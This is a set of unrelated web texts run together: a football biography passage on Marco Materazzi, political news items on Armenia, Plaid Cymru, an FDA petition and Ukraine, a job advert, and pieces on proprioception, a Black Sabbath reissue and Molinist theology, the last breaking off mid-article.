Materazzi missed the first part of 2007–08 season due to an injury suffered whilst on international duty which forced him to be sidelined until November 2007.[43] Later in February of the following year, Materazzi gave a poor display in the first leg of 2007–08 UEFA Champions League first knockout round against Liverpool, receiving a red card in the 30th minute, as Inter lost 2–0 at Anfield.[44] His performance was criticised by his teammates after the end of the match.[45] Later on throughout the season, during a 2–2 draw against Siena,[46] Materazzi argued with striker Julio Ricardo Cruz on who to take a penalty kick.[47] Eventually it was Materazzi who took it but his attempt was easily saved by Alex Manninger.[47] It was his first miss since 2001. The draw spoiled Inter's chances of winning the title with one game to spare. After the match, the choice to take the penalty was criticized by manager Roberto Mancini while Materazzi himself apologized, stating that it should have been Cruz the one to take it.[47] Inter eventually won the championship for the third consecutive time after defeating Parma 2–0 in the last matchday with Materazzi playing full-90 minutes.[48][49] He concluded the season with 23 Serie A appearances, 4 Coppa Italia appearances, 1 Supercoppa Italiana appearance and 3 UEFA Champions League appearances for a total of 33 appearances.
2008–2011: Final years and more glory [ edit ]
The summer of 2008 saw the arrival of Portuguese manager José Mourinho who did not saw Materazzi as the first choice in defence, relegating him to the bench.[50] Apart from that, his season was also marred by injuries, which reduced his league tally to only 8 appearances.[51] He scored his first UEFA Champions League goal on 4 November in a 3–3 draw at Anorthosis in the Group B matchday 4.[52][53] Materazzi won his 4th championship on 17 May 2009 following Inter's 3–0 defeat of Siena.[54] Despite playing rarely, he was still praised by president Massimo Moratti who said that Materazzi "always played well whenever he was called upon last season" while manager Mourinho stated that he wanted to have Materazzi in his team.[55]
Materazzi in action for Inter
In June 2009, Materazzi was handed a new deal by Inter until June 2012.[56] He was used sparingly during the 2009–10 season, making 20 appearances in all competitions. In January 2010, he underwent arthroscopic surgery to repair damage to the medial meniscus in his right knee which kept him sidelined for one month.[57] Materazzi was an injury-time substitute for Inter in the 2010 UEFA Champions League Final against Bayern Munich, replacing Diego Milito who scored both of their goals in the 2–0 victory in Madrid.[58] In addition to that, Inter also clinched the Scudetto,[59] for the fifth season in a row,[60] and Coppa Italia,[61] to complete the Treble.[62]
He begun the 2010–11 season by coming on in the last minutes of a 3–1 home win over Roma in the Supercoppa Italiana match.[63] Materazzi's first league match of the season came later in November where he started in the derby against Milan due to the absence of Walter Samuel; he conceded a penalty in 4th minute for fouling Zlatan Ibrahimović and was later sent to hospital after a receiving a kung-fu kick in the stomach by the Swede.[64][65] Inter lost the match 1–0.[66] Following the end of the match, manager Rafael Benítez calmed the situation by stating that Materazzi's injury "doesn't seem serious".[64] He returend in action two weeks later by playing full-90 minutes in a 5–2 home win over Parma.[67] In December, Materazzi was included in Inter's squad for 2010 FIFA Club World Cup, remaining on the bench as Inter won their 5th title of the year.[68]
Materazzi left the club in July 2011 after not being offered a new contract, having played around 270 games for the club and winning 15 trophies,[69] and shortly after, announced his retirement from the sport.[70][71] He was later appointed in the role of ambassador to Inter. Later, Materazzi accused manager Leonardo of "stabbed him in the back" and the reason of his departure from Inter,[72][73] and also threw accusations to president Massimo Moratti of not having defended him against Leonardo.[74]
Chennaiyin FC [ edit ]
Materazzi during his time with Chennaiyin FC.
On 22 September 2014, Materazzi was signed as the player-manager of Chennaiyin FC in the inaugural season of the Indian Super League.[75] Materazzi signed a two-season contract with Chennaiyin for $1 million (USD) every season.[76][77] Materazzi did not choose himself to play in their opening match, a 2–1 victory at FC Goa on 15 October courtesy of a free kick from marquee player and former Brazil international Elano.[78] Six days later in his first home game, Chennaiyin defeated the Kerala Blasters 2–1, but four days after that he lost for the first time, 1–4 to the Delhi Dynamos. In the club's fourth match of the season, he selected himself to play for the first time, starting in a 5–1 win over Mumbai City.[79] On 28 November, he brought his former international defensive partner Alessandro Nesta out of retirement to play for Chennaiyin until the end of the season.[80] Chennaiyin finished the 14-game regular season in first place in the league, with Materazzi having made 6 appearances. In the end-of-season play-offs, the team were eliminated in extra time in the semi-finals by the Kerala Blasters.
At the end of the 2015 season, in which Materazzi led Chennaiyin to the Indian Super League championship, his contract ended.[81] After the conclusion of the 2016 season, it was announced that Materazzi would not return to the club for 2017.[82]
International career [ edit ]
Debut and 2002 World Cup [ edit ]
Materazzi made his debut for the Italy national team on 25 April 2001, in a 1–0 friendly match victory against South Africa.[83] He made two appearances in the qualifying campaign against Georgia and Hungary. In the final tournament of the 2002 FIFA World Cup, Materazzi was used as a reserve player to back up Alessandro Nesta and Fabio Cannavaro. He made only one appearance by coming on as a substitute for Nesta in the 2–1 loss to Croatia in the group stage but soon in the 90th minute Materazzi played a floating ball over the top from just over half way to Inzaghi but everyone missed the ball and it rolled in the back of the net but the goal was disallowed after referee Graham Poll claimed that Inzaghi had grabbed an opponent's shirt.[84] Materazzi was later criticised for his defending on both of Croatia's goals during the match.[85][86]
UEFA Euro 2004 [ edit ]
Despite a long suspension with Inter,[22] Materazzi was still called up by manager Giovanni Trapattoni for the UEFA Euro 2004,[87] where he was on the bench for Italy's first two games but started in the final group game against Bulgaria in place of the suspended Fabio Cannavaro, as Italy came from behind to win 2–1; in the first half, Materazzi was judged to have allegedly fouled Dimitar Berbatov in the area, conceding a penalty, which Martin Petrov subsequently converted. Despite the win, Italy were eliminated in the first round on direct encounters, following a three-way five point tie with Denmark and Sweden.[88]
Materazzi played his first match as captain for Italy on 17 November 2004 in a 1–0 friendly win over Finland in which he also received a yellow card.[89] His second and final match as captain came in another friendly against Iceland on 30 March 2005 where he played in the first half.[90]
2006 World Cup [ edit ]
Materazzi in 2006, during the FIFA World Cup in Germany
Materazzi was included in the 23-man squad by manager Marcelo Lippi for the 2006 FIFA World Cup which was his third major tournament.[91] He begun the tournament as a reserve player, but after Alessandro Nesta suffered an injury in the group match against the Czech Republic,[92] Materazzi came on as his replacement and made an impact by scoring a goal, and was named Man of the Match.[93] He received a red card in the round of 16 match against Australia for a foul on Mark Bresciano,[94] which ended in a 1–0 win to the Italians, and was suspended for the quarter-final against Ukraine, which Italy won 3–0.[95] In the final against France, Materazzi fouled Florent Malouda to concede a penalty, which Zinedine Zidane subsequently scored. He made another impact by scoring a goal to level the score, a header from a right sided corner by Andrea Pirlo. After the match went to extra-time, Materazzi and Zidane were involved in a confrontation in the 110th minute, where Materazzi verbally insulted Zinedine Zidane alongside tugging his shirt while Zidane attempted to walk away, which ended with Zidane head-butting Materazzi and receiving a red card.[96] The game then continued to penalties. Materazzi scored Italy's second penalty as they defeated France 5–3 to claim their fourth FIFA World Cup.[97] After the final, the confrontation resulted in a major controversy as Zidane accused Materazzi of insulting his sister and mother. Additionally, Materazzi claimed that after he had grabbed Zidane's jersey, Zidane sarcastically said to him "If you want my shirt, I will give to you afterwards". Materazzi then revealed that he replied, "Preferisco la puttana di tua sorella[98]" (I would prefer your whore of a sister[98]), which resulted in the head-butt.[99][2] Three British tabloid newspapers, the Daily Star, the Daily Mail and The Sun, alleged that Materazzi had called Zidane "the son of a terrorist whore." Materazzi took legal action against all three newspapers and the allegations were later withdrawn.[100][101] FIFA later issued a CHF 5,000 fine and a two-match ban against Materazzi. Alongside striker Luca Toni, Materazzi was Italy's top scorer throughout the tournament with two goals; he also won 14 challenges throughout the competition.[102]
UEFA Euro 2008 [ edit ]
Under Roberto Donadoni, Materazzi appeared consistently during the Euro 2008 qualifying campaign and became a starter after Alessandro Nesta's retirement.[103] In the UEFA Euro 2008 tournament,[104] he started in the 3–0 loss to the Netherlands but was substituted in the 54th minute in what would later prove to be his final appearance for Italy, as he was replaced later in the tournament by Giorgio Chiellini.[105] Later, after Lippi's return, Materazzi was not called in the national team again.[106] He totaled 41 appearances and 2 goals for Italy.
Style of play [ edit ]
An aggressive, physical, and hard-tackling centre-back, who was also known for his tight marking of opponents,[4] Materazzi was considered to be one of the best defenders of his generation, and was highly regarded by two of the world's most respected coaches, Marcello Lippi and José Mourinho, later becoming close friends with both managers.[108] Materazzi was lauded by his managers in particular for being a goal threat as a defender, due to his outstanding aerial ability, which made him dangerous during set pieces.[12] His prolific goalscoring allowed him to capture the record for most goals in a Serie A season by a defender, which was broken during the 2000–01 season.[12] He was also an accurate set piece and penalty kick taker, with a powerful shot from distance.[12] In addition to these attributes, he had solid technical skills and reliable distribution, and was known for frequently playing long balls to the strikers.[4] During his time with Internazionale, he developed the nickname Matrix.[109][110]
Personal life [ edit ]
Marco Materazzi was born in Lecce, where his father, Giuseppe, a professional footballer, was playing for U.S. Lecce.[8] Giuseppe was also a former football coach and manager of teams such as Pisa, Lazio, Sporting CP and Tianjin Teda. Materazzi's mother died when he was 15 years old.[8] His sister, Monia married Maurizio Maestrelli, the son of former manager Tommaso Maestrelli; Maurizio died on 28 November 2011.[111] His brother Matteo is a sports agent.
As stated by his father, Marco grew up a supporter of Lazio.[112] In September 2007, he released his autobiography called "Una vita da guerriero" (A life as a warrior) published by journalists Andrea Elefante (from Gazzetta dello Sport) and Roberto De Ponti (from Corriere della Sera).[113]
Materazzi was married on 23 June 1997 with Daniela, whom he has three children: Anna, Davide and Gianmarco.[114][115]
Career statistics [ edit ]
Club [ edit ]
Source:[69][116][117][118]
International [ edit ]
Source:[119]
Appearances and goals by national team and year National team Year Apps Goals Italy 2001 4 0 2002 5 0 2003 1 0 2004 8 0 2005 7 0 2006 10 2 2007 4 0 2008 2 0 Total 41 2
International goals [ edit ]
Italy score listed first, score column indicates score after each Materazzi goal.
Managerial [ edit ]
All competitive league games (league and domestic cup) and international matches (including friendlies) are included.
As of 2 December 2016
Team Nat Year Record G W D L Win % Chennaiyin 2014–2016 7001470000000000000♠ 47 7001190000000000000♠ 19 7001120000000000000♠ 12 7001160000000000000♠ 16 0 7001404300000000000♠ 40.43 Career Total 7001470000000000000♠ 47 7001190000000000000♠ 19 7001120000000000000♠ 12 7001160000000000000♠ 16 0 7001404300000000000♠ 40.43
Honours [ edit ]
Player [ edit ]
Club [ edit ]
International [ edit ]
Individual [ edit ]
Manager [ edit ]
Chennaiyin [ edit ]
Orders [ edit ]
CONI: Golden Collar of Sports Merit: 2006[121]Armenia and EU will sign a Comprehensive and Enhanced Partnership Agreement this fall, Armenian President Serzh Sargsyan said at a Q&A with participants of Baze youth gathering.
“Yes, we are going to sign the agreement this fall. I’m stating this with confidence as the document has already been initialed,” the President said, assuring that “we have no reason not to sign it.”
The President also referred to Armenia’s decision to join the Eurasian Economic Union, which he described as “attempts by media to present it as a decision made overnight.”
“We were negotiating with both the Eurasian Economic Union and the European Union, because both had said at the beginning the two would not contradict each other. However, we could do nothing after the EU declares it’s incompatible,” Serzh Sargsyan stated.Plaid Cymru members have elected Leanne Wood as their new leader.
Ms Wood called for "real independence" for Wales after beating rivals Elin Jones and Lord Elis-Thomas.
Ms Wood, who is currently learning to speak Welsh, promised to be an "open, forward looking, positive and constructive" leader.
She inherits the leadership of the third-largest party in the Welsh assembly behind the Labour government and Conservative opposition.
Speaking after the result was announced in Cardiff on Thursday, she paid tribute to her fellow candidates for a campaign that was "positive, respectful, constructive, and in parts a good laugh".
"And that's how we do politics in this party and that is how I intend to lead," she said.
She also gave a special thanks to her young supporters, many of whom joined the party for the first time during the campaign, she said.
Her predecessor Ieuan Wyn Jones, who Ms Wood thanked in her acceptance speech, announced he would be standing down last year after disappointing election results that saw Plaid lose seats in the assembly.
She said: "We may be a small party and a small country but we can stand tall if we stand together and if we stand up for our principles.
"Real independence means collectively lifting our people out of poverty leaving no-one behind, building a future based on hope not on fear."
'New Wales'
She added: "Together we can build a Wales that is fair, a new Wales that will flourish and a new Wales that will one day be free."
Aged 40, she is the ninth leader in Plaid Cymru's 87-year history, the first Welsh-learner in the role and the first woman. Her election means Plaid now has a female leader, chief executive, president and chair.
Her supporters hailed a decisive victory.
In the first round of voting, she won 2,879 votes to Ms Jones's 1,884 and Lord Elis-Thomas's 1,278.
As no candidate had more than half the votes, Lord Elis-Thomas was eliminated and the second-preference votes of his supporters were redistributed, giving Ms Wood 3,326 votes and Ms Jones 2,494.
Plaid MP Jonathan Edwards, Ms Wood's campaign manager, said she would lead "a far more aggressive strategy in taking on the Labour Party".
"I was extremely happy to see that it was a very strong result for Leanne - nearly winning on the first ballot and I think the strength of the result gives her a very strong mandate for the months ahead," he said.
'Unite'
Speaking before the result was declared, Mr Jones said: "It's our job now, all of us in this party, to unite behind the successful candidates so they can face the opportunities and challenges that lie ahead."
Fellow party leaders have sent messages of congratulations to Ms Wood, including First Minister Carwyn Jones.
Image caption Plaid's all-women team: (l-r) party president Jill Evans, national chair Helen Mary Jones, leader Leanne Wood and chief executive Rhuanedd Richards
Welsh Liberal Democrat leader Kirsty Williams said that despite their differences on a range of issues, she hoped the two parties "can work constructively together in order to hold the Welsh government to account and grasp the opportunity to strengthen devolution through the Silk Commission established by the UK government".
The Conservatives' assembly leader, Andrew RT Davies, said he "looked forward" to working with Ms Wood in holding "lethargic Labour ministers to account".
"She succeeds Ieuan Wyn Jones, who led his party with distinction and played a pivotal role in the development of the National Assembly. I wish Ieuan well in his future endeavours," he added.A two-year-old Food and Drug Administration appointment is stirring up online protests once more.
Activists in Germany protest a court decision to ban a type of genetically modified maize. (Nigel Treblin/AFP/GETTY IMAGES)
In recent days, a petition calling for the former Monsanto VP’s ouster is gaining steam.
“President Obama, I oppose your appointment of Michael Taylor,” the petition on Signon.org reads. “Taylor is the same person who was Food Safety Czar at the FDA when genetically modified organisms were allowed into the U.S. food supply without undergoing a single test to determine their safety or risks. This is a travesty.”
Over the weekend, the petition was signed by thousands of people. At this writing, it has around 60,000 signatures of its 75,000 goal.
Requests for comment from Monsanto and the FDA were not immediately returned.
Signees of the petition argue that Monsanto should not have influence at the FDA because it will hurt farmers and threaten plants and animals. They cite scientific research that has found genetically modified foods could be a cause for chronic illnesses or cancer in the U.S.
The petition was launched by Frederick Ravid, a financial analyst in Atlanta who also has a blog devoted to spirituality.
The petition calls Taylor’s appointment an example of a “fox watching the hen house.”
Taylor’s position, which is currently deputy commissioner for foods at the FDA, includes ensuring that food labels contain clear and accurate information, overseeing strategy for food safety and planning new food safety legislation. He is the first individual to hold the position.
Before he joined the FDA, Taylor was the vice president for Public Policy at Monsanto from 1998 to 2001. He has since worked for the FDA in a number of capacities, most recently returning to the administration as senior adviser to the commissioner in July 2009.
Taylor is quoted on the FDA Web site as saying he looked forward to “working in new ways... to tackle the important challenges – and the unprecedented opportunities – we currently face.”
When Taylor’s appointment was announced, it was criticized by consumers and consumer advocates across the U.S. One such critical consumer advocate, Jeffrey Smith, who campaigns against genetically modified foods, wrote on his blog at the time: “The person who may be responsible for more food-related illness and death than anyone in history has just been made the US food safety czar. This is no joke.”
Smith cited as problematic Taylor’s prior involvement in overseeing the policy of Monsanto’s genetically engineered bovine growth hormone (rbGH/rbST). Milk from injected cows has been a controversial topic, Smith points out, with many medical organizations and hospitals speaking out against it.
Monsanto has been the focus of dozens of protests for a number of its policies over the years, including this TED talk from an 11-year-old:
On Monday, Monsanto announced that it was giving up plans to sell its insect-resistant maize in France, Farmers Weekly reports. The move was seen as another major blow for genetically modified food in Europe, where resistance has been fierce, with six EU countries banning the cultivation of genetically modified maize.The US is inciting Kiev to end the crisis in eastern Ukraine by force, said the Russian foreign minister citing US support of the recent Ukrainian law on the special self-governing status of Donbass, which Moscow says undermines the Minsk-2 deal.
“If Washington welcomes the action, which undermines the Minsk agreements, then we can only conclude that Washington is inciting Kiev to resolve the issue by military means,” said Lavrov at a media conference in Moscow on Thursday.
His comments were a reference to the telephone conversation between US Vice-President Joe Biden and Ukrainian President Petro Poroshenko on Wednesday, during which Biden welcomed the decision by the Ukrainian parliament to give special status to Donbass.
On March 17, the Verkhovna Rada (Ukrainian parliament), passed a law granting the self-proclaimed Republics of Donetsk and Lugansk special self-rule status, but Moscow said the law violated the peace agreement.
READ MORE: Kremlin awaits Europe reaction to Ukraine’s Donbass status laws - Peskov
Self-rule for Donbass was one of the key conditions of the Minsk agreements, but the law passed by the Rada postpones the introduction of the new status until the regions hold new elections under Ukrainian laws. Until then the Ukrainian MPs said that the two republics will be recognized as ‘temporary occupied territories’ and voted that the status should remain until the Ukrainian military fully restores control. The leaders of the Donetsk and Lugansk Republics said these decisions were not agreed with them.
Lavrov said: “The Ukrainian leadership…basically terminated their commitments to engage in direct dialogue and negotiate with south-eastern Ukraine, including on the issue of elections, on the implementation of the law on the special status…”
Speaking on these matters Lavrov urged the mediators of the Minsk-2 deal – France and Germany – who invested their authority in the document, to react to Kiev’s actions.
The Russian foreign minister also called for another round of negotiations in the Normandy Four format (Kiev, Moscow, Berlin, Paris) on the settlement of the ongoing conflict in Ukraine.He said it is necessary to prevent "further deterioration of the situation.”
"I believe it’s high time for the Normandy Four talks," Lavrov said. "I turned to my colleagues - the foreign ministers of Germany and France - with a proposal to take urgent steps to prevent the situation from taking a nosedive."
READ MORE: ‘Glaring breach’: Minsk ‘violation’ sees Russia urge France, Germany to act on Ukraine
Russia has summoned an extraordinary session of the UN Security Council to discuss violations in the implementation of the Minsk-2 agreements, the spokesman of Russia’s Permanent Mission to the UN, Aleksey Zaitsev said on Thursday.
Russia has submitted a draft resolution to the UNSC supporting the implementation of the Minsk accords, particularly on the issue of the “dialogue between Kiev, Lugansk and Donetsk.” These concern elections in the eastern regions, said Russia’s UN envoy Vitaly Churkin after the closed session.
The latest Ukraine peace deal was brokered in the Belarusian capital on February 12 by the leaders of France, Germany, Russia and Ukraine. It was agreed that the sides in the conflict pull back heavy weapons from the frontline and establish a security zone separating them.
The agreement required political reform in Ukraine to ensure decentralization and a special status for its rebellious regions. According to the deal, the government’s control over the borders between the Donetsk and Lugansk Regions would be fully restored a day after municipal elections, to be held in the regions as part of far-reaching constitutional reform.
The document required Ukraine to adopt legislation that would provide permanent privileges to the Lugansk and Donetsk Regions. These would include the right to use Russian as an official language and trans-border ties with Russia, as well as the authority of local governments to appoint local prosecutors and judges. Among other points, the agreement also included direct talks between Kiev and representatives of the republics.West Academic, formerly part of Thomson Reuters, is now its own company! Finding ourselves “newly nimble” we are looking for people to help us transform the legal education industry by bringing new technology and products to market.
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Why not join a company who offers the excitement and freedom of a startup paired with the security and market recognition of a 100 year old company! That’s us, the 100 year old startup who’s going places.Loudest Voice = Majority Opinion
New research reveals even if only one member of a group repeats their opinion, it is more likely to be seen by others as representative of the whole group.
A group of us are sat around shooting the breeze, talking about this that and everything else besides. Like all British people we always end up with a bit of weather-related chat when the conversation flags. And sure enough, before long, James is complaining about the unseasonably cool and wet weather that we’re having at the moment.
“It just flies in the face of all that ‘global warming’ crapola, right?” says James.
Now, like the others I know a little bad weather in the short-term doesn’t disprove a long-term trend. But, for whatever reason, I don’t say anything and neither does anyone else.
He goes on: “Doesn’t it just make you wonder what’s really going on with all these environmental groups telling us we’re ruining the planet and all the rest?”
The power of repetition
This is starting to get me going a little – I actually think humans are ruining the environment and causing global warming. Again, though, I’m lazy and only mumble a few words in disagreement. I half think James is just trying to wind us up to get the conversation going. Still, I let it go.
There’s no more talk on the subject until much later when I’m with one of the group on his own |
receptors in the knee joints of cats. Today the view has flipped again, with most physiologists believing that the principle proprioceptors are housed in the muscles.
How Does It All Work?
For the most part, proprioception works because of muscle spindles (below), a kind of sensory receptor within muscles. Research in the 1960s and 1970s found that muscle spindles detect the changes in length and velocity of a muscle, and then transmit that information to the central nervous system via sensory neurons. The changes detected by the muscle spindles also signal the angle of related joints, though joints have receptors that may contribute some information about limb positions. Additionally, the skin has stretch receptors, or mechanoreceptors, that can detect small movements of the limbs.
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These proprioceptors, of course, can also work in the absence of movement — this is how we instinctively know where our hand is, even when it's still. But there are other proprioceptive sensations that are always associated with movement, which are known as the senses of effort, force and heaviness.
Within the tendons that attach muscles to bones are proprioceptors called Golgi tendon organs, which provide the brain with information about muscle tension. This is your sense of how much force you're exerting. Relatedly, the sense of effort refers to how much effort is required to produce a given motion, and this sense can be thrown off by fatigue from, say, exercise. Tendon organs and muscle spindles also convey to the brain the sense of heaviness, which relates specifically to those occasions when you pick up and move objects.
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The brain — particularly the cerebellum — takes information from all of these proprioceptive inputs to try to determine the location and movement of body parts. But the way we sense our body and its motion generally involves more than just proprioception.
For instance, a 2010 study noted that there are no sensory signals that inform the brain about the size and shape of body parts. The researchers concluded that our sense of position must refer to a "stored body model," which we may unconsciously develop through our interactions with the environment.
Scientists have also known for many years that our vision strongly affects our sense of body in space. In 1999, researchers found that visual cues and proprioceptive cues about the position of the arm are encoded on to the same neurons in the premotor cortex of monkeys. Research also suggests that our vision is involved with charting out the path and kinematics of our reaching movements, while proprioception turns this plan into action. One study even suggests that vision sometimes trumps proprioception when it comes to determining the positions and movements of body parts.
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Building A Sense of Ownership
Importantly, proprioception and our ability to detect the movement and location of our body parts contribute strongly to our sense of body ownership, or the knowledge that our body belongs to us and not someone else. Recently, scientists discovered that the brain doesn't require visual input for body ownership — only proprioception is necessary (though vision helps). And a few studies have showed that proprioception and multisensory integration are important for the development of body awareness during infancy. Body perception may even be present in newborns.
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But what does this mean for people whose proprioception isn't working because of spinal cord injury or other issues? Is their sense of their bodies different? According to some research, the lack of these inputs results in a "disturbed sense of an embodied self."
Though proprioception is vital to sensing our bodies and developing a sense of ownership of your body, it's not infallible. This is especially clear when you consider just how easy it is to get your sense of your own body to contradict with what your see with your eyes.
The most well known example of this is the "rubber hand illusion." This illusion basically boils down to convincing someone that a rubber hand is part of their body by gently stroking the rubber hand and the person's (hidden) hand at the same time. This causes the person's brain to shift its sense of hand position from the real hand to the rubber hand, a phenomena that's called proprioceptive drift. Research has shown that this proprioceptive drift can also occur using virtual reality.
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Body ownership can be screwed with even further. In one experiment, researchers were able to trick participants into thinking that they had three arms. The researchers explained how this worked in their study:
Taken together, these results indicate that ownership of the supernumerary hand depends on achieving a match between the visual information about the spatial orientation of the rubber hand and proprioceptive information about the orientation of the real hand, and on a match between the correlated visual and tactile information from the two hands.
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Misguided proprioception may also be behind phantom limb phenomena — an amputee's sensation that their missing limb is still there. A few years ago, scientists proposed that phantom limb pain is the result of "proprioceptive memory," a kind of conflict between vision and memory. The brain remembers the positions of the limb and its relation to the body and other limbs (based on proprioception), but the eyes don't see the limb. The researchers argue that proprioceptive memory may be why so-called mirror treatment — which involves viewing the reflection of the intact limb superimposed over the missing limb — works to relieve phantom limb pain. The treatment, in a way, resolves the conflict between the visual and memory systems.
It's still unclear, however, just how the brain builds and maintains its internal representations of body form. It's also curious as to why, if we can form a sense of body ownership based on proprioception alone, it's seemingly so easy to mess with this perception using other senses (vision and touch). Future research will, no doubt, solve these mysteries, as well as many others, including how proprioception changes with age — it is thought, for example, that declining proprioception is partly responsible for the elderly's increased tendency to fall.
Inset images via Tsutomu Takasu/Flickr and A. Pedro Marinho/Wikimedia Commons.Successful bands like Black Sabbath often have multiple versions of everything in their catalog released by record labels who know the group's fanbase will provide them a profit no matter what the quality of the release. So with a Deluxe Edition like this, the main question is, is it worth it? My answer is absolutely yes, but I'll list some highlights and you can judge for yourself.
--The sound on Disc 1, the original album, is crisp and clear.
--Evil Woman follows N.I.B., a song replaced on most copies of the CD by Wicked World.
*Bonus Disc*
--Starts with Wicked World, so both songs find their place.
--Studio outtake of Black Sabbath features some variations on the vocals by Ozzy, including the line, "Look over your shoulder, Satan is there," that was changed before the album's release. Also, some of the vocals are more aggressive, and Ozzy's screams of, "Noooo!!!" are more intense. I'm sure this version scared some label executives.
--Black Sabbath instrumental version. I love hearing these songs with no vocals, making all of the instrumentation more discernable. I usually hear some guitar or drum part I'd never noticed before.
--Studio outtakes of The Wizard, Behind the Wall of Sleep, Sleeping Village, and Warning, Part 1. Even though these match almost exactly with the original versions, you hear Ozzy's voice with no studio effects added. The vocals sound a bit more raw and live, since....they're raw and live.
--The alternate version of Evil Woman might be my favorite gem of this release. It's a more ambitious take on this cover tune, complete with a flute that's heard throughout the song. This is a real keeper, much like the Master of Reality Deluxe offering of Lord of this World with piano and slide bar.
--A 20-page booklet with a long article on the band's early history and tons of old pics.
--Awesome packaging, with fold-out digipack and more vintage pics.
Even with all these great qualities, it's not completely perfect. My only two tiny complaints are that, first, the CD I got did not come with a plastic Deluxe Edition slipcase over the digipack, but a Deluxe Edition sticker wrapped around it, which had to be removed to get to the CD's. Also, the song N.I.B. is listed on Disc 2 as instrumental, but it definitely has vocals, so this was probably meant to be labeled as a studio outtake, which is what it is. Do these little nitpicks take away from the value of this edition? Not to me. The positives far outweigh the negatives, and I'm thoroughly satisfied with my purchase. This one is a must-have for anyone who follows Black Sabbath closely and cherishes any old, unreleased recordings of the godfathers of metal. Very well done!The lesser known theological flower, the ROSES of Molinism, was first developed by Spanish Jesuit theologian Luis de Molina, for whom the system is named. It attempts to reconcile the dual emphasis in Scripture on God’s sovereignty and human responsibility/free will.
While it is not as widely known as Calvinism or Arminianism, it is growing in popularity today, especially among Christian philosophers. Two of the most prominent, William Lane Craig and Alvin Plantinga, both espouse some version of Molinism.
It is also growing among theologians, as evidenced by Southeastern Baptist Theological Seminary theology professor, Kenneth Keathley’s book, Salvation and Sovereignty: A Molinist Approach.
So how exactly does Molinism make compatible these two issues that seem to be at odds?
Theologians and Christian philosophers have been formulating ways to relate these two concepts. C.H. Spurgeon, himself a moderate Calvinist, when asked how he reconciled them, reportedly said, “I do not try to reconcile good friends.” Despite their status as good friends and equally affirmed in Scripture, there seems to be some logical separation.
There are various views across the theological spectrum explaining the relationship, despite the seeming insistence that one must be a five-point Calvinist or a dyed in the wool Arminian.
Besides Molinism, Thomism, named for Thomas Aquinas, also attempts an explanation. It states that because God exists outside time, then God’s election and foreknowledge occurred “together” so there is no conflict between the two.
Keathley, borrowing from moderate Calvinist Timothy George, uses ROSES to describe the Molinist approach to understanding all the issues involved with the stated goal of balancing both God’s sovereignty and human free will.
Within Molinism, there are those who are more Calvinistic and those who are more Arminian, but we will focus on Keathley’s approach.
R: Radical Depravity
Humanity is depraved. Adam’s fall has impacted us all and because of that sin we cannot come to God without His initiative. However, the Calvinist terminology seems to imply that man is as depraved as possible, incapable of any good action and that because man has no free choice that sin and Adam’s fall, somehow, find their nexus in the choice of God.
Man, while obviously depraved (read the news to see that perfectly illustrated), does not always choose wrongly. Calvinist R.C. Sproul Sr. points out that even Hitler loved his mother.
Humans have within them a range of choices that they can (and do) make according to their nature, but their nature will not choose God, apart from His work in them.
If Calvinist take their determinism to the logical end, it seems to place sin at the feet of God. R.C. Sproul, Jr. goes much farther than his dad or other Calvinist want to go when he writes that God is “the culprit” that introduced evil into the world.
He continues, “Of course it’s impossible for God to do evil. He can’t sin. This objection, however, is off the mark. I am not accusing God of sinning; I am suggesting that he created sin.”
Obviously, that is not the position of most Calvinists. It is, however, a logical conclusion of the view point that God is the ultimate cause of everything. If you allow no room for human freedom, then you must place responsibility for everything, including the bad, with God.
How do Molinists avoid this conundrum? The propose the central tenant of the system – middle knowledge. While it sounds like an intimidating philosophical term, it is not as daunting as it seems.
Molina proposed that God had natural knowledge: He knows everything that could happen. He knows all possibilities.
God also has free knowledge: He knows everything that will happen. He has exhaustive knowledge of everything in reality. Those are commonly accepted and discussed ideas about God.
Molina added another layer to God’s knowledge. He has middle knowledge: He knows everything that would happen. He knows what would happen in all of the possibilities that could happen. It is in His middle knowledge that God sovereignly elects His people.
God chose to create this world, out of all the possible worlds, because He knew this world would bring about the most glory for Him and the most good for His creation.
He also knew that this world would be the one in which each and every one of His elect would freely choose to follow Him.
So, God sovereignly chooses to make this world a reality and create the situation where all of those who were elect before the foundation of the earth would seek Him when empowered by the Holy Spirit to make that choice.
Molinism disagrees with Calvinism that the individual has no role in actually accepting the Gospel. It also disagrees with Arminianism in that God’s election is only a reaffirmation of man’s decision.
O: Overcoming Grace
Calvinism has the “problem of the well-meant offer,” meaning that while Calvinist preach and extend the Gospel to all of their hearers they actually cannot really mean what they say.
When they say “whosoever,” they have to mean “whosoever is elect.” The doctrine of irresistible grace entails that when God offers listeners a choice in the Bible, He really isn’t given them a choice because their action is solely determined based on whether or not God gives them the grace to act. No grace, no action. Does that mean no responsibility?
Non-Calvinist say that salvation is open to whoever hears and receives it. That encounters its own problem. Does that make my choice a good work, and thus make salvation, in some small way, works based?
If a friend and I were listening to the Gospel being preached and I responded, but he didn’t, did I not do something good that he did not do? Would that give me reason to boast?
The overcoming grace model of Molinism seeks to solve those two problems by asserting that salvation is all of grace and damnation is all of human sin. Keathley explains this using the ambulance analogy.
Imagine you wake up and discover that you are in an ambulance being transported to the emergency room. You clearly require serious medical help. If you do nothing, you will be delivered to the hospital.
However, if for whatever reason you demand to be let out, the driver will comply. He may express his concern, warn you of the consequences, but he will abide by your wishes.
You receive no credit for being taken to the hospital, you receive all the blame for getting out. This is a picture of the Molinist view of salvation.
The Holy Spirit desires my salvation. If I simply allow Him to work, He will bring about salvation in my life. However, if I resist and protest, He will move on. Salvation is completely all of grace.
My only action is an inaction of not resisting. Damnation is all of my sin. In that way, I am telling God, “No, I do not want to be saved.”
The difference between those who believe and those who do not is not found in the believer, to give him something about which to boast. The difference is found in the unbeliever, which gives him a reason to be judged.
The idea of irresistible grace seems to be foreign to Scripture and our experience. We see numerous cases of people being drawn to Christ in various stages only to eventually reject Him.
The salvation story for many Christians, involves a period of them rejecting God’s grace only to accept it later.
For Christians the concept brings up even more difficult questions. If God’s grace is irresistible, why do I still sin? John Piper would argue that we sin because somehow, for some reason in His “hidden will,” God desires that sin in our life to bring glory to Himself.
Other Calvinists would argue that God’s grace operates differently once we are saved. This reasoning, however, neuters their objections to many who embrace an Arminian view of salvation, yet hold to eternal security.
Both of those positions argue that something changes at conversion that makes it different than it was before. For one, Christians can resist God’s grace in ways they could not prior to conversion.
For the other, once the Christian has made a free will decision to come to Christ, He cannot (or will not) choose to reject his salvation. It seems to me a much more strange argument to say that the Christian gains the ability to reject God’s grace upon conversion.
S: Sovereign Election
